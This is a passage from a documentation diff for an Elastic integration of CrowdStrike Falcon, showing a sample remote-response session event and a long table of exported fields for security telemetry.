+        "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}",
+        "start": "2023-11-02T13:41:34.000Z",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "name": "UKCHUDL00206"
+    },
+    "input": {
+        "type": "streaming"
+    },
+    "message": "Remote response session started.",
+    "observer": {
+        "product": "Falcon",
+        "vendor": "Crowdstrike"
+    },
+    "related": {
+        "hosts": [
+            "UKCHUDL00206"
+        ],
+        "user": [
+            "admin.rose",
+            "admin.rose@example.com"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-falcon"
+    ],
+    "user": {
+        "domain": "example.com",
+        "email": "admin.rose@example.com",
+        "name": "admin.rose"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword |
+| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword |
+| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword |
+| agent.version | Version of the agent. | keyword |
+| cloud.image.id | Image ID for the cloud instance. | keyword |
+| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date |
+| crowdstrike.event.AccountId |  | keyword |
+| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword |
+| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword |
+| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword |
+| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword |
+| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword |
+| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword |
+| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword |
+| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword |
+| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword |
+| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword |
+| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword |
+| crowdstrike.event.AgentId |  | keyword |
+| crowdstrike.event.AgentIdString |  | keyword |
+| crowdstrike.event.AggregateId |  | keyword |
+| crowdstrike.event.AnodeIndicators |  | nested |
+| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword |
+| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword |
+| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened |
+| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested |
+| crowdstrike.event.AuditKeyValues.Key |  | keyword |
+| crowdstrike.event.AuditKeyValues.ValueString |  | keyword |
+| crowdstrike.event.Category | IDP incident category. | keyword |
+| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword |
+| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword |
+| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested |
+| crowdstrike.event.CloudPlatform |  | keyword |
+| crowdstrike.event.CloudProvider |  | keyword |
+| crowdstrike.event.CloudService |  | keyword |
+| crowdstrike.event.Commands | Commands run in a remote session. | keyword |
+| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
+| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword |
+| crowdstrike.event.ContentPatternCounts |  | nested |
+| crowdstrike.event.ContentPatterns.ConfidenceLevel |  | long |
+| crowdstrike.event.ContentPatterns.ID |  | keyword |
+| crowdstrike.event.ContentPatterns.MatchCount |  | long |
+| crowdstrike.event.ContentPatterns.Name |  | keyword |
+| crowdstrike.event.CustomerId | Customer identifier. | keyword |
+| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword |
+| crowdstrike.event.Description |  | keyword |
+| crowdstrike.event.Destination |  | nested |
+| crowdstrike.event.Destination.Channel |  | keyword |
+| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword |
+| crowdstrike.event.DetectName | Name of the detection. | keyword |
+| crowdstrike.event.DetectionType |  | keyword |
+| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword |
+| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested |
+| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested |
+| crowdstrike.event.DomainName |  | keyword |
+| crowdstrike.event.EgressEventId |  | keyword |
+| crowdstrike.event.EgressSessionId |  | keyword |
+| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword |
+| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested |
+| crowdstrike.event.EventTimestamp |  | date |
+| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword |
+| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested |
+| crowdstrike.event.ExecutablesWritten.FileName |  | keyword |
+| crowdstrike.event.ExecutablesWritten.FilePath |  | keyword |
+| crowdstrike.event.ExecutablesWritten.Timestamp |  | keyword |
+| crowdstrike.event.ExecutionID |  | keyword |
+| crowdstrike.event.ExecutionMetadata.ExecutionDuration |  | long |
+| crowdstrike.event.ExecutionMetadata.ExecutionStart |  | date |
+| crowdstrike.event.ExecutionMetadata.ReportFileName |  | keyword |
+| crowdstrike.event.ExecutionMetadata.ResultCount |  | long |
+| crowdstrike.event.ExecutionMetadata.ResultID |  | keyword |
+| crowdstrike.event.ExecutionMetadata.SearchWindowEnd |  | date |
+| crowdstrike.event.ExecutionMetadata.SearchWindowStart |  | date |
+| crowdstrike.event.FalconHostLink |  | keyword |
+| crowdstrike.event.FileCategoryCounts |  | nested |
+| crowdstrike.event.FileName |  | keyword |
+| crowdstrike.event.FilePath |  | keyword |
+| crowdstrike.event.FileType.Type.CategoryID |  | keyword |
+| crowdstrike.event.FileType.Type.CategoryName |  | keyword |
+| crowdstrike.event.FileType.Type.Description |  | keyword |
+| crowdstrike.event.FileType.Type.ID |  | keyword |
+| crowdstrike.event.FileType.Type.Name |  | keyword |
+| crowdstrike.event.FilesAccessed.FileName |  | keyword |
+| crowdstrike.event.FilesAccessed.FilePath |  | keyword |
+| crowdstrike.event.FilesAccessed.Timestamp |  | date |
+| crowdstrike.event.FilesEgressedCount |  | long |
+| crowdstrike.event.FilesWritten.FileName |  | keyword |
+| crowdstrike.event.FilesWritten.FilePath |  | keyword |
+| crowdstrike.event.FilesWritten.Timestamp |  | date |
+| crowdstrike.event.Finding | The details of the finding. | keyword |
+| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float |
+| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean |
+| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean |
+| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean |
+| crowdstrike.event.GrandParentCommandLine |  | keyword |
+| crowdstrike.event.GrandParentImageFileName |  | keyword |
+| crowdstrike.event.GrandParentImageFilePath |  | keyword |
+| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword |
+| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword |
+| crowdstrike.event.GrandparentImageFilePath |  | keyword |
+| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text |
+| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword |
+| crowdstrike.event.Hostname |  | keyword |
+| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword |
+| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword |
+| crowdstrike.event.IOARuleGroupName |  | keyword |
+| crowdstrike.event.IOARuleInstanceID |  | keyword |
+| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long |
+| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword |
+| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword |
+| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword |
+| crowdstrike.event.IPv4 |  | ip |
+| crowdstrike.event.IPv6 |  | ip |
+| crowdstrike.event.IdpPolicyRuleAction | Identity Protection policy rule action. | keyword |
+| crowdstrike.event.IdpPolicyRuleName | Identity Protection policy rule name. | keyword |
+| crowdstrike.event.IdpPolicyRuleTrigger | Identity Protection policy rule trigger. | keyword |
+| crowdstrike.event.IncidentType | Incident Type | keyword |
+| crowdstrike.event.Ipv | Protocol for network request. | keyword |
+| crowdstrike.event.IsClipboard |  | boolean |
+| crowdstrike.event.ItemPostedTimestamp | Time the raw intelligence was posted. | date |
+| crowdstrike.event.ItemType | Type of raw intelligence. | keyword |
+| crowdstrike.event.KeyStoreErrors | Describes a KeyStore error. | keyword |
+| crowdstrike.event.LMHostIDs | Array of host IDs seen to have experienced lateral movement because of the incident. | keyword |
+| crowdstrike.event.LateralMovement | Lateral movement field for incident. | long |
+| crowdstrike.event.LdapSearchQueryAttack | Detected LDAP tool attack. | keyword |
+| crowdstrike.event.LoadedObjects | Provides one or more JSON objects describing the loaded objects related to the detection. | nested |
+| crowdstrike.event.LocalIP | IP address of the host associated with the detection. | keyword |
+| crowdstrike.event.LocalIPv6 |  | ip |
+| crowdstrike.event.LogonDomain |  | keyword |
+| crowdstrike.event.MACAddress | MAC address of the host associated with the detection. | keyword |
+| crowdstrike.event.MD5String | MD5 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.MachineDomain | Domain for the machine associated with the detection. | keyword |
+| crowdstrike.event.MatchCount | Number of firewall rule matches. | long |
+| crowdstrike.event.MatchCountSinceLastReport | Number of firewall rule matches since the last report. | long |
+| crowdstrike.event.MatchedClassification.ID |  | keyword |
+| crowdstrike.event.MatchedClassification.Name |  | keyword |
+| crowdstrike.event.MitreAttack.PatternID |  | keyword |
+| crowdstrike.event.MitreAttack.Tactic |  | keyword |
+| crowdstrike.event.MitreAttack.TacticID |  | keyword |
+| crowdstrike.event.MitreAttack.Technique |  | keyword |
+| crowdstrike.event.MitreAttack.TechniqueID |  | keyword |
+| crowdstrike.event.MobileAppsDetails | Provides one or more JSON objects describing the related mobile applications. | nested |
+| crowdstrike.event.MobileAppsDetails.AndroidAppLabel |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AndroidAppVersionName |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AppIdentifier |  | keyword |
+| crowdstrike.event.MobileAppsDetails.AppInstallerInformation |  | keyword |
+| crowdstrike.event.MobileAppsDetails.DexFileHashes |  | keyword |
+| crowdstrike.event.MobileAppsDetails.ImageFileName |  | keyword |
+| crowdstrike.event.MobileAppsDetails.IsBeingDebugged |  | keyword |
+| crowdstrike.event.MobileAppsDetails.IsContainerized |  | keyword |
+| crowdstrike.event.MobileDnsRequests | Provides one or more JSON objects describing the related DNS requests from the mobile device. | nested |
+| crowdstrike.event.MobileNetworkConnections | Provides one or more JSON objects describing the related network connections from the mobile device. | nested |
+| crowdstrike.event.MostRecentActivityTimeStamp | The timestamp of the latest activity performed by the account. | date |
+| crowdstrike.event.MountedVolumes | Provides one or more JSON objects describing mounted volumes on the mobile device. | nested |
+| crowdstrike.event.Name |  | keyword |
+| crowdstrike.event.NetworkAccesses | Detected Network traffic done by a process. | nested |
+| crowdstrike.event.NetworkAccesses.AccessTimestamp |  | keyword |
+| crowdstrike.event.NetworkAccesses.AccessType |  | keyword |
+| crowdstrike.event.NetworkAccesses.ConnectionDirection |  | keyword |
+| crowdstrike.event.NetworkAccesses.IsIPV6 |  | keyword |
+| crowdstrike.event.NetworkAccesses.LocalAddress |  | keyword |
+| crowdstrike.event.NetworkAccesses.LocalPort |  | keyword |
+| crowdstrike.event.NetworkAccesses.Protocol |  | keyword |
+| crowdstrike.event.NetworkAccesses.RemoteAddress |  | keyword |
+| crowdstrike.event.NetworkAccesses.RemotePort |  | keyword |
+| crowdstrike.event.NetworkProfile | CrowdStrike network profile. | keyword |
+| crowdstrike.event.NotificationId | ID of the generated notification. | keyword |
+| crowdstrike.event.NumberOfCompromisedEntities | Number of compromised entities, users and endpoints. | long |
+| crowdstrike.event.NumbersOfAlerts | Number of alerts in the identity-based incident. | long |
+| crowdstrike.event.OARuleInstanceID | Numerical ID of the custom IOA rule under a given CID. | keyword |
+| crowdstrike.event.Objective | Method of detection. | keyword |
+| crowdstrike.event.ObjectiveCRuntimesAltered | Provides one or more JSON objects describing the obj-c methods related to the malware. | nested |
+| crowdstrike.event.OperationName | Event subtype. | keyword |
+| crowdstrike.event.OriginWebLocations |  | flattened |
+| crowdstrike.event.ParentImageFileName | The parent image file name involved. | keyword |
+| crowdstrike.event.ParentImageFilePath |  | keyword |
+| crowdstrike.event.ParentProcessId |  | long |
+| crowdstrike.event.PatternDispositionDescription |  | keyword |
+| crowdstrike.event.PatternDispositionFlags.BlockingUnsupportedOrDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.BootupSafeguardEnabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.ContainmentFileSystem |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.CriticalProcessDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Detect |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.FsOperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.HandleOperationDowngraded |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.InddetMask |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Indicator |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillActionFailed |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillParent |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillProcess |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.KillSubProcess |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.OperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.PolicyDisabled |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.ProcessBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.QuarantineFile |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.QuarantineMachine |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.RegistryOperationBlocked |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.Rooting |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SensorOnly |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SuspendParent |  | boolean |
+| crowdstrike.event.PatternDispositionFlags.SuspendProcess |  | boolean |
+| crowdstrike.event.PatternDispositionValue | Unique ID associated with action taken. | integer |
+| crowdstrike.event.PatternId | The numerical ID of the pattern associated with the action taken on the detection. | keyword |
+| crowdstrike.event.PlatformId |  | keyword |
+| crowdstrike.event.PlatformName |  | keyword |
+| crowdstrike.event.PolicyID | CrowdStrike policy id. | keyword |
+| crowdstrike.event.PolicyId | The ID of the associated Policy. | long |
+| crowdstrike.event.PolicyName | CrowdStrike policy name. | keyword |
+| crowdstrike.event.PrecedingActivityTimeStamp | The timestamp of the activity before the most recent activity was performed. | date |
+| crowdstrike.event.PreviousPrivileges | A list of the source account's privileges before privilege changes were made. | keyword |
+| crowdstrike.event.ProcessId |  | long |
+| crowdstrike.event.Protocol | CrowdStrike provided protocol. | keyword |
+| crowdstrike.event.ProtocolAnomalyClassification | Authentication signature analysis. | keyword |
+| crowdstrike.event.ReferrerUrl |  | keyword |
+| crowdstrike.event.Region |  | keyword |
+| crowdstrike.event.RelatedClassifications.ID |  | keyword |
+| crowdstrike.event.RelatedClassifications.Name |  | keyword |
+| crowdstrike.event.ReportFileReference |  | keyword |
+| crowdstrike.event.ReportID |  | keyword |
+| crowdstrike.event.ReportName |  | keyword |
+| crowdstrike.event.ReportType |  | keyword |
+| crowdstrike.event.ResourceAttributes | A JSON blob with all resource attributes. | flattened |
+| crowdstrike.event.ResourceId | The cloud resource identifier. | keyword |
+| crowdstrike.event.ResourceIdType | The type of the detected resource identifier. | keyword |
+| crowdstrike.event.ResourceName | Resource name if any. | keyword |
+| crowdstrike.event.ResourceUrl | The URL to the cloud resource. | keyword |
+| crowdstrike.event.ResponseAction |  | keyword |
+| crowdstrike.event.RootAccessIndicators | Provides one or more JSON objects which includes logs and stack traces from the suspicious source. | nested |
+| crowdstrike.event.RpcOpClassification | RPC operation type. | keyword |
+| crowdstrike.event.RuleAction | Firewall rule action. | keyword |
+| crowdstrike.event.RuleId |  | keyword |
+| crowdstrike.event.RulePriority | Priority of the monitoring rule that found the match. | keyword |
+| crowdstrike.event.SELinuxEnforcementPolicy | State of SELinux enforcement policy on an Android device. | keyword |
+| crowdstrike.event.SHA1String | SHA1 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.SHA256String | SHA256 sum of the executable associated with the detection. | keyword |
+| crowdstrike.event.SafetyNetAdvice | Provides information to help explain why the Google SafetyNet Attestation API set eitherCTSProfileMatch or BasicIntegrity fields to false. | keyword |
+| crowdstrike.event.SafetyNetBasicIntegrity | The result of a more lenient verdict for device integrity. | keyword |
+| crowdstrike.event.SafetyNetCTSProfileMatch | The result of a stricter verdict for device integrity. | keyword |
+| crowdstrike.event.SafetyNetErrorMessage | An encoded error message. | keyword |
+| crowdstrike.event.SafetyNetErrors | Describes a SafetyNet error | keyword |
+| crowdstrike.event.SafetyNetEvaluationType | Provides information about the type of measurements used to compute fields likeCTSProfileMatch and BasicIntegrity. | keyword |
+| crowdstrike.event.ScanResults | Array of scan results. | nested |
+| crowdstrike.event.ScheduledSearchExecutionId | ID of the specific search execution. | keyword |
+| crowdstrike.event.ScheduledSearchId | Unique identifier of the associated scheduled search. | keyword |
+| crowdstrike.event.ScheduledSearchUserId | User ID of the user that created the the associated scheduled search. | keyword |
+| crowdstrike.event.ScheduledSearchUserUUID | UUID of the user that created the the associated scheduled search. | keyword |
+| crowdstrike.event.SensorId | Unique ID associated with the Falcon sensor. | keyword |
+| crowdstrike.event.ServiceName | Description of which related service was involved in the event. | keyword |
+| crowdstrike.event.SessionId | Session ID of the remote response session. | keyword |
+| crowdstrike.event.Severity | The integer severity level using Crowdstrike scaling. | integer |
+| crowdstrike.event.SeverityName | The severity level of the detection, as a string (High/Medium/Informational). | keyword |
+| crowdstrike.event.SourceAccountUpn | Source user UPN. | keyword |
+| crowdstrike.event.SourceEndpointAccountObjectGuid | Source endpoint object GUID | keyword |
+| crowdstrike.event.SourceEndpointAccountObjectSid | Source endpoint object SID. | keyword |
+| crowdstrike.event.SourceEndpointIpReputation | Source endpoint IP reputation. | keyword |
+| crowdstrike.event.SourceEndpointSensorId | Source endpoint agent ID. | keyword |
+| crowdstrike.event.SourceProducts | Names of the products from which the source data originated. | keyword |
+| crowdstrike.event.SourceVendors | Names of the vendors from which the source data originated. | keyword |
+| crowdstrike.event.SsoApplicationIdentifier | Destination application identifier. | keyword |
+| crowdstrike.event.State | Identity-based detection or incident status. | keyword |
+| crowdstrike.event.Status | CrowdStrike status. | keyword |
+| crowdstrike.event.StatusMessage |  | keyword |
+| crowdstrike.event.Success | Indicator of whether or not this event was successful. | boolean |
+| crowdstrike.event.SuspiciousMachineAccountAlterationType | Machine alteration type. | keyword |
+| crowdstrike.event.SystemProperties | Provides one or more JSON objects which includes related system properties. | nested |
+| crowdstrike.event.Tags | Tags on the cloud resources if any. | nested |
+| crowdstrike.event.TargetAccountDomain | Target user domain. | keyword |
+| crowdstrike.event.TargetAccountName | Target user name. | keyword |
+| crowdstrike.event.TargetAccountObjectSid | Target user object SID. | keyword |
+| crowdstrike.event.TargetAccountUpn | Target user UPN. | keyword |
+| crowdstrike.event.TargetEndpointAccountObjectGuid | Target endpoint object GUID. | keyword |
+| crowdstrike.event.TargetEndpointAccountObjectSid | Target endpoint object SID. | keyword |
+| crowdstrike.event.TargetEndpointHostName | Target endpoint hostname. | keyword |
+| crowdstrike.event.TargetEndpointSensorId | Target endpoint agent ID. | keyword |
+| crowdstrike.event.TargetServiceAccessIdentifier | Target SPN. | keyword |
+| crowdstrike.event.Timestamp | Firewall rule triggered timestamp. | date |
+| crowdstrike.event.Trampolines | Provides one or more JSON objects describing the relevant functions and processes performing inline API hooks. | nested |
+| crowdstrike.event.TreeID | CrowdStrike tree id. | keyword |
+| crowdstrike.event.Type | The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection). | keyword |
+| crowdstrike.event.UserDepartment |  | keyword |
+| crowdstrike.event.UserId | Email address or user ID associated with the event. | keyword |
+| crowdstrike.event.UserMapped |  | boolean |
+| crowdstrike.event.UserName |  | keyword |
+| crowdstrike.event.UserNotified |  | boolean |
+| crowdstrike.event.UserTitle |  | keyword |
+| crowdstrike.event.UserUUID |  | keyword |
+| crowdstrike.event.VerifiedBootState | Provides the device’s current boot state. | keyword |
+| crowdstrike.event.XdrType | Type of detection: xdr or xdr-scheduled-search. | keyword |
+| crowdstrike.metadata.customerIDString | Customer identifier | keyword |
+| crowdstrike.metadata.eventType | DetectionSummaryEvent, FirewallMatchEvent, IncidentSummaryEvent, RemoteResponseSessionStartEvent, RemoteResponseSessionEndEvent, AuthActivityAuditEvent, or UserActivityAuditEvent | keyword |
+| crowdstrike.metadata.offset | Offset number that tracks the location of the event in stream. This is used to identify unique detection events. | integer |
+| crowdstrike.metadata.version | Schema version | keyword |
+| data_stream.dataset | Data stream dataset name. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
+| destination.as.organization.name | Organization name. | keyword |
+| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text |
+| destination.geo.city_name | City name. | keyword |
+| destination.geo.continent_name | Name of the continent. | keyword |
+| destination.geo.country_iso_code | Country ISO code. | keyword |
+| destination.geo.country_name | Country name. | keyword |
+| destination.geo.location | Longitude and latitude. | geo_point |
+| destination.geo.region_iso_code | Region ISO code. | keyword |
+| destination.geo.region_name | Region name. | keyword |
+| destination.ip | IP address of the destination (IPv4 or IPv6). | ip |
+| destination.port | Port of the destination. | long |
+| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword |
+| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | keyword |
+| error.message | Error message. | match_only_text |
+| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword |
+| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
+| event.code | Identification code for this event, if one exists. Some event sources use event codes to identify messages unambiguously, regardless of message language or wording adjustments over time. An example of this is the Windows Event ID. | keyword |
+| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
+| event.dataset | Event dataset | constant_keyword |
+| event.end | `event.end` contains the date when the event ended or when the activity was last observed. | date |
+| event.ingested | Timestamp when an event arrived in the central data store. This is different from `@timestamp`, which is when the event originally occurred.  It's also different from `event.created`, which is meant to capture the first time an agent saw the event. In normal conditions, assuming no tampering, the timestamps should chronologically look like this: `@timestamp` \< `event.created` \< `event.ingested`. | date |
+| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
+| event.module | Event module | constant_keyword |
+| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
+| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
+| event.severity | The numeric severity of the event according to your event source. What the different severity values mean can be different between sources and use cases. It's up to the implementer to make sure severities are consistent across events from the same source. The Syslog severity belongs in `log.syslog.severity.code`. `event.severity` is meant to represent the severity according to the event source (e.g. firewall, IDS). If the event source does not publish its own severity, you may optionally copy the `log.syslog.severity.code` to `event.severity`. | long |
+| event.start | `event.start` contains the date when the event started or when the activity was first observed. | date |
+| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
+| event.url | URL linking to an external system to continue investigation of this event. This URL links to another system where in-depth investigation of the specific occurrence of this event can take place. Alert events, indicated by `event.kind:alert`, are a common use case for this field. | keyword |
+| file.hash.md5 | MD5 hash. | keyword |
+| file.hash.sha1 | SHA1 hash. | keyword |
+| file.hash.sha256 | SHA256 hash. | keyword |
+| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
+| file.path.text | Multi-field of `file.path`. | match_only_text |
+| host.containerized | If the host is a container. | boolean |
+| host.os.build | OS build information. | keyword |
+| host.os.codename | OS codename, if any. | keyword |
+| input.type | Type of Filebeat input. | keyword |
+| log.flags | Flags for the log file. | keyword |
+| log.offset | Offset of the entry in the log file. | long |
+| message | For log events the message field contains the log message, optimized for viewing in a log viewer. For structured logs without an original message field, other fields can be concatenated to form a human-readable summary of the event. If multiple messages exist, they can be combined into one message. | match_only_text |
+| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
+| network.type | In the OSI Model this would be the Network Layer. ipv4, ipv6, ipsec, pim, etc The field value must be normalized to lowercase for querying. | keyword |
+| observer.product | The product name of the observer. | keyword |
+| observer.vendor | Vendor name of the observer. | keyword |
+| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
+| process.end | The time the process ended. | date |
+| process.executable | Absolute path to the process executable. | keyword |
+| process.executable.text | Multi-field of `process.executable`. | match_only_text |
+| process.name | Process name. Sometimes called program name or similar. | keyword |
+| process.name.text | Multi-field of `process.name`. | match_only_text |
+| process.parent.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
+| process.parent.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
+| process.parent.command_line.text | Multi-field of `process.parent.command_line`. | match_only_text |
+| process.parent.executable | Absolute path to the process executable. | keyword |
+| process.parent.executable.text | Multi-field of `process.parent.executable`. | match_only_text |
+| process.parent.pid | Process id. | long |
+| process.pid | Process id. | long |
+| process.start | The time the process started. | date |
+| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
+| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
+| related.ip | All of the IPs seen on your event. | ip |
+| related.user | All the user names or other user identifiers seen on the event. | keyword |
+| rule.author | Name, organization, or pseudonym of the author or authors who created the rule used to generate this event. | keyword |
+| rule.category | A categorization value keyword used by the entity using the rule for detection of this event. | keyword |
+| rule.description | The description of the rule generating the event. | keyword |
+| rule.id | A rule ID that is unique within the scope of an agent, observer, or other entity using the rule for detection of this event. | keyword |
+| rule.name | The name of the rule or signature generating the event. | keyword |
